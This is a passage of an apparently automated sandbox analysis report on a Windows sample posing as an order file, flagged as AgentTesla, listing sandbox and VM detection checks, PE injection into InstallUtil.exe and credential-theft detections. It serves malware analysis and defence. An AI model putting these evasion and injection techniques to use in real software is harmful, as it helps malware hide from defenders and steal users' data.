Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cbgoomiexw.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Cbgoomiexw.exe PID: 8052, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.00000000032AA000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.000000000269A000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.00000000030A1000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory allocated: 18E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory allocated: 3260000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory allocated: 5260000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2F00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory allocated: 25C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory allocated: 2650000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory allocated: 4650000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: DD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory allocated: 1520000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory allocated: 2FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory allocated: 4FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 30B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 32C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 30B0000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: InstallUtil.exe, 00000001.00000002.1879587990.0000000001286000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq>
Source: Cbgoomiexw.exe, 00000007.00000002.1961076055.00000000012E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0
Source: Cbgoomiexw.exe, 00000007.00000002.1965310119.00000000030A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: Cbgoomiexw.exe, 00000007.00000002.1965310119.00000000030A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1714806608.0000000001687000.00000004.00000020.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1878408831.000000000095B000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.1986513923.0000000005DD0000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.2941663496.0000000006600000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: DE1008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 72C008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1152008	Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Queries volume information: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Queries volume information: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Queries volume information: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, type: UNPACKEDPE
